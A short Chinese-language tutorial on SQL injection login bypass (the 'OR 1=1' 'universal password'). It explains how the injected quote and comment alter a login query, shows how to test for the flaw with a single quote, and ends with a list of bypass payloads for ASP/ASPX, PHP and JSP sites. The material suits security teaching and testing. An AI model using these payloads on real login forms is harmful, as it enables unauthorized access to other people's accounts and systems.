OR 漏洞简述
该漏洞又称万能密码,效果是通过构造一个恒为真的语句来绕过用户名密码检测,不通过密码即可登录进去
漏洞原理
由于程序对用户输入没有进行过滤,我们可以通过构造恒为真的语句来控制查询。
例如在我们输入用户名为 admin
密码为 123
时,SQL 查询语句为
SELECT * FROM admin WHERE Name='admin' and passWord='123'
而我们通过构造语句在用户名处输入 'or 1=1 --
密码为任意值如 111
此时查询语句变为
SELECT * FROM admin WHERE Name=''or 1=1 --' and passWord='111'
此时的效果是用户名为 null,而后面加入了一个恒为真的语句 1=1
此时用户名部分是为真的。--
表示注释掉后面所有的内容,因此在 --
后面的内容都失效了,密码不会进行判断。
原本程序设定应该是当这条 SQL 查询语句查询到用户名密码均正确时返回真,返回结果为真时登陆进界面。此时由于构造了一个为真的语句,我们便可以绕过用户名密码进行登陆。
判断方法
在输入框输入单引号进行登陆,若有报错说明没有对单引号进行过滤,存在此漏洞
不同类型程序的万能密码
应该注意的是不同类型的数据库程序所使用的语法不同,以下内容转自 chengker 的博客
ASP ASPX 万能密码
- “or”a”=”a
- ‘)or(‘a’=’a
- or 1=1–
- ‘or 1=1–
- a’or’ 1=1–
- “or 1=1–
- ‘or’a’=’a
- “or”=”a’=’a
- ‘or’’=’
- ‘or’=’or’
- 1 or ‘1’=’1’=1
- 1 or ‘1’=’1’ or 1=1
- ‘OR 1=1%00
- “or 1=1%00
- ‘xor
- 用户名’UNION Select 1,1,1 FROM admin Where’’=’ (替换表名 admin) 密码 1
- ..admin’or’a’=’a 密码随便
PHP 万能密码
- ‘or 1=1/*
- User: something
- Pass: ‘or’1’=’1
JSP 万能密码
- 1’or’1’=’1
- admin’ or 1=1/*